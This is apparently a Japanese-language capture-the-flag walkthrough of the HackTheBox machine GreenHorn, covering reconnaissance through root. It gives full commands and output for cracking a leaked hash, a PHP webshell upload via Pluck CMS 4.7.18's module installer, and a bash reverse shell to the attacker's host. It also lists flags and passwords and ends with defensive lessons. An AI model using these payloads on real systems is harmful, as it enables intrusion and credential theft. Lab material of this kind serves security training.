HackTheBox: GreenHorn — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/3000
→
22/80/3000
Gitea ソース漏洩
GreenAdmin/GreenHorn → pass.php
→
GreenAdmin/GreenHorn → pass.php
sha512 crack
john/hashcat → iloveyou1
→
john/hashcat → iloveyou1
Pluck install-module
EDB-51592 webシェル設置
→
EDB-51592 webシェル設置
www-data シェル
reverse shell
→
reverse shell
su junior
パスワード再利用
→
パスワード再利用
user.txt ✓
→
Using OpenVAS.pdf
Depixでピクセル化PW復元
→
Depixでピクセル化PW復元
su – root → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -p- --min-rate 10000 -oN nmap/allports.txt 10.129.231.80 nmap -sV -sC -p 22,80,3000 -oN nmap/detailed.txt 10.129.231.80
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://greenhorn.htb/ 3000/tcp open ppp? | fingerprint-strings: | GetRequest: | Set-Cookie: i_like_gitea=2f501491b20c0d87; Path=/; HttpOnly; SameSite=Lax | <title>GreenHorn</title> Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート3000は
i_like_giteaクッキーから Gitea(セルフホスト型Git)
であることが判明。ポート80は http://greenhorn.htb/ への302リダイレクト(名前ベースvhost)。
/etc/hosts へドメイン登録 & サイト確認
BASH
echo "10.129.231.80 greenhorn.htb" | sudo tee -a /etc/hosts curl -s http://greenhorn.htb/login.php | grep -i pluck
RESULT
<a href="http://www.pluck-cms.org">pluck 4.7.18</a>
ℹ️
サイトは “junior web developer” 向けの学習用ブログで、footer から管理画面(
/login.php)が
Pluck CMS 4.7.18 であることが分かる。ログインフォームはパスワードのみ(ユーザー名欄が無い)。
PHASE 2
Gitea ソースコード漏洩調査 & パスワードクラック
Gitea の Explore から公開リポジトリを発見
BASH
# ブラウザ、または API で未認証のまま Explore curl -s http://greenhorn.htb:3000/explore/repos
RESULT
GreenAdmin/GreenHorn — Pluck CMS サイトのソース一式(認証不要で誰でも閲覧可能)
🚨
重要発見: Gitea は登録自体は必要だが、Explore 機能は未認証ユーザーでも
リポジトリを閲覧できる設定になっている。
GreenAdmin/GreenHorn リポジトリに、稼働中のPluckサイトの
ソースコード一式がそのまま公開されている。
login.php のロジックを読み、パスワードハッシュの場所を特定
NOTE
login.php は data/settings/pass.php を include し、$_POST['cont1'] (パスワード入力欄) を sha512 したものと data/settings/pass.php 内の変数 $ww を比較している。 つまり $ww の値こそが管理者パスワードの sha512 ハッシュ。
BASH
curl -s http://greenhorn.htb:3000/GreenAdmin/GreenHorn/raw/branch/main/data/settings/pass.php
RESULT
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
john / hashcat でハッシュをクラック
BASH
echo 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163' > greenhorn.hash john --format=Raw-SHA512 --wordlist=/usr/share/wordlists/rockyou.txt greenhorn.hash john --format=Raw-SHA512 --show greenhorn.hash
RESULT
?:iloveyou1
1 password hash cracked, 0 left
✅
管理者パスワードは
iloveyou1。rockyou.txt に含まれる弱いパスワードで、
hashcat(-m 1700、Raw-SHA512)でも同じ結果になることを確認。
PHASE 3
Pluck Admin ログイン & install-module RCE (EDB-51592)
管理者ログイン(フィールド名に注意)
BASH
# ログインフォームの input name は password ではなく cont1。 # bogus は空のハニーポット欄、submit="Log in" も必須。 curl -s -i -c cookies.txt -e http://greenhorn.htb/login.php \ --data-urlencode "cont1=iloveyou1" \ --data-urlencode "bogus=" \ --data-urlencode "submit=Log in" \ http://greenhorn.htb/login.php
RESULT
<div class="success">Password correct. Logging you in...</div>
<meta http-equiv="refresh" content="1; url=admin.php?action=start" />
⚠️
ハマりポイント: Pluck はログイン成功を専用cookie名で管理しておらず、サーバー側
$_SESSION(= 通常のPHPSESSID)だけで状態を持つ。成否判定は
応答本文の “Password correct.” 文字列で行う必要がある
(特定のcookie名の有無をチェックするロジックを書くと、ログインが実際には成功していても
誤って失敗と判定してしまう)。
PHP Webシェルをzip化してモジュールとしてアップロード
BASH
echo '<?php system($_REQUEST["cmd"]); ?>' > shell.php zip shell.zip shell.php curl -s -i -b cookies.txt -e "http://greenhorn.htb/admin.php?action=installmodule" \ -F "sendfile=@shell.zip;type=application/zip" \ -F "submit=Upload" \ "http://greenhorn.htb/admin.php?action=installmodule"
RESULT
<div class="success">The module has been installed successfully.</div>
ℹ️
Pluckの「モジュールインストール」機能は、管理者がアップロードしたzipをそのまま
data/modules/<zip basename>/ に展開するだけで、拡張子やファイル内容の検証を
行わない。これは公式のCVE登録された脆弱性ではなく(EDB-51592はPoC名)、管理機能の仕様そのものが
任意ファイル配置 = RCE に直結している。
Webシェル動作確認
BASH
curl -s 'http://greenhorn.htb/data/modules/shell/shell.php?cmd=id'
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
⚠️
重要な注意点: このボックスには設置したファイルを 数分おきに削除する
クリーンアップジョブが走っている。一定時間後に
shell.phpへアクセスすると
File not found. や No input file specified. が返ってくることがあり、
その場合は Phase 3-1・3-2 を再実行してWebシェルを再設置する必要がある。
リバースシェルへアップグレード
BASH
# ターミナル1: リスナー nc -lnvp 443 # bashリバースシェルをbase64化してWebシェル経由で実行 echo 'bash -c "bash -i >& /dev/tcp/10.10.15.200/443 0>&1"' | base64 -w0 curl -s 'http://greenhorn.htb/data/modules/shell/shell.php' \ --data-urlencode 'cmd=echo "" | base64 -d | bash'
RESULT (nc リスナー側)
listening on [any] 443 ...
connect to [10.10.15.200] from (UNKNOWN) [10.129.231.80] 51210
www-data@greenhorn:~/html/pluck/data/modules/shell$ script /dev/null -c bash
www-data@greenhorn:~/html/pluck/data/modules/shell$
✅
RCE成功!
www-data としての対話シェルを取得(scriptで
pty化し、以降のsuを対話的に扱えるようにしている)。
PHASE 4
パスワード再利用で su junior → user.txt
ユーザー列挙
BASH
www-data@greenhorn:~$ ls /home www-data@greenhorn:~$ grep 'sh$' /etc/passwd
RESULT
git junior
root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash
Pluck管理者パスワードを junior に対して再利用
BASH
www-data@greenhorn:~$ su - junior Password: iloveyou1
RESULT
junior@greenhorn:~$
✅
サイトの「新人開発者向け」という設定どおり、
junior は管理パネルのパスワードを
そのまま個人アカウントのパスワードとしても使っていた(典型的なパスワード再利用)。
user.txt 取得
BASH
junior@greenhorn:~$ cat user.txt
RESULT
2cf423a896c4752ab5c8e7f17adc354a
user.txt — junior
2cf423a896c4752ab5c8e7f17adc354a
PHASE 5
junior ホームのピクセル化PDF → Depix でパスワード復元
ホームディレクトリの調査
BASH
junior@greenhorn:~$ ls -la
RESULT
-rw-r----- 1 root junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'
-rw-r----- 1 root junior 33 Jun 11 14:38 user.txt
PDFを一時Webサーバーで持ち出す
BASH
# ターゲット側で一時Webサーバーを立てて取得(scpが使えない/鍵が無い前提) junior@greenhorn:~$ python3 -m http.server 9001 # Kali側 wget 'http://greenhorn.htb:9001/Using%20OpenVAS.pdf' # 取得後、ターゲット側の http.server は忘れずに停止する
ℹ️
PDFを開くと「root 権限で OpenVAS を sudo 実行する手順」の説明文書で、本文中に
ピクセル化(モザイク)されたパスワード画像が埋め込まれている。
画像を取り出し Depix で復元
NOTE
単純な「ぼかし/モザイク」除去ツールの多くはこの手の規則的ブロックモザイクには効かない。 PDFビューア上で画像を右クリック→「画像を保存」すると、ピクセル化された部分だけのPNGを 直接取り出せる(PDFの構造上、モザイク文字列自体が独立した画像オブジェクトになっているため)。 Depix (https://github.com/spipm/Depix) は、モザイクの色ブロックパターンを「正解候補の 参照画像」(よく使われるフォント/エディタでの既知文字列の疑似乱数列 de Bruijn sequence 画像) と比較照合し、元のピクセル配置から文字を復元するツール。
BASH
git clone https://github.com/spipm/Depix cd Depix python depix.py \ -p download.png \ -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png \ -o recovered.png
RESULT
Loading pixelated image from download.png Finding color rectangles from pixelated space Found 252 same color rectangles ... 190 rectangles left after moot filter Scanning 190 blocks with size (5, 5) [41 straight matches | 149 multiple matches] Saving output image to: recovered.png
✅
復元画像(
(この画像モザイクはDockerイメージに焼き込まれた静的アセットのため、ボックスの インスタンスを再スポーンしてもこの値は変わらない。user.txt/root.txt自体はスポーンごとに ランダム化される)。
recovered.png)を開くと、文字が読み取れる状態になっている:sidefromsidetheothersidesidefromsidetheotherside(この画像モザイクはDockerイメージに焼き込まれた静的アセットのため、ボックスの インスタンスを再スポーンしてもこの値は変わらない。user.txt/root.txt自体はスポーンごとに ランダム化される)。
PHASE 6
su – root → root.txt
復元パスワードで root に昇格
BASH
junior@greenhorn:~$ su - Password: sidefromsidetheothersidesidefromsidetheotherside
RESULT
root@greenhorn:~#
root.txt 取得
BASH
root@greenhorn:~# cat root.txt
RESULT
bff7f1269200c1ba93a807ba3c54e7e2
root.txt — root@greenhorn
bff7f1269200c1ba93a807ba3c54e7e2
補足: このパスワードはSSHでも直接通る
BASH
sshpass -p 'sidefromsidetheothersidesidefromsidetheotherside' \ ssh root@10.129.231.80 id
RESULT
uid=0(root) gid=0(root) groups=0(root)
ℹ️
Depixで復元した root パスワードは、
su だけでなく sshd のパスワード認証でも
そのまま通る(junior・Pluck管理者側は publickey のみで拒否される設定)。
つまりWebシェルを経由せずSSH直接ログインでも root を取れる。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — junior
2cf423a896c4752ab5c8e7f17adc354a
root.txt — root@greenhorn
bff7f1269200c1ba93a807ba3c54e7e2
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Gitea Explore 未認証公開 | Gitea (ポート3000) | ソースコード・秘密情報漏洩 | Medium | 未認証でもExploreからリポジトリを閲覧でき、本番Pluckサイトのソース一式(パスワードハッシュ含む)が丸見え |
| Pluck install-module RCE (EDB-51592) | Pluck CMS 4.7.18 管理パネル | 管理者権限での任意コード実行 | High | モジュールインストール機能がzip展開時にファイル種別を検証せず、.phpファイルをそのままWebルート配下に配置 |
| パスワード再利用 | Pluck管理者 / OSユーザー junior | 横移動(www-data → junior) | Medium | Webアプリの管理パスワードがOSユーザーのログインパスワードとしても使われていた |
| ピクセル化(モザイク)による秘密情報の不十分な秘匿 | junior所有 “Using OpenVAS.pdf” | 権限昇格用パスワードの漏洩(Depixで復元可能) | Medium | 規則的なブロックモザイクは可逆性があり、既知フォントの参照画像との照合(Depix)で元の文字列を統計的に復元できる |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/80/3000、80番で greenhorn.htb への302リダイレクト検出 |
| 2 | Gitea調査 | 未認証Explore + raw取得 + john/hashcat | Pluck管理者 sha512 ハッシュ → iloveyou1 |
| 3 | RCE | Pluck admin ログイン + install-module zip webシェル | www-data シェル(RCE EDB-51592) |
| 4 | 横移動 | パスワード再利用 su junior | user.txt 取得 |
| 5 | 情報収集 | PDF抽出 + Depix depixelize | root用パスワード復元 |
| 6 | 権限昇格 | su – (復元パスワード) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Giteaの「Explore」機能で未認証ユーザーでもプライベートに近いリポジトリ(秘密情報入りの設定ファイルを含む)を閲覧できる | Giteaの require_signin_view 設定を有効化し、未認証閲覧を無効化する。認証情報を含む設定ファイルはGit管理対象から外す(.gitignore・環境変数化)。 |
| CMSの管理機能(モジュールインストール)が任意拡張子のファイルをそのままWebルートへ配置できる | アップロード先ディレクトリでPHPなどの実行を無効化(.htaccess/location設定)し、許可拡張子のホワイトリスト検証を行う。CMS自体を既知の脆弱性に対応した最新版へ更新する。 |
| Webアプリの管理パスワードをOSユーザーアカウントに再利用 | 用途ごとに異なる認証情報を発行する。パスワードポリシーを強制し、使い回しを禁止する運用ルールを設ける。 |
| パスワードのような秘密情報を単純なブロックモザイクで”隠した”つもりになっている | 秘密情報は画像内に一切残さない(スクリーンショット自体を作らない)。やむを得ず図示する場合は完全に塗りつぶす(モザイクではなく不透明な矩形で上書き)か、ダミー値に置き換える。 |

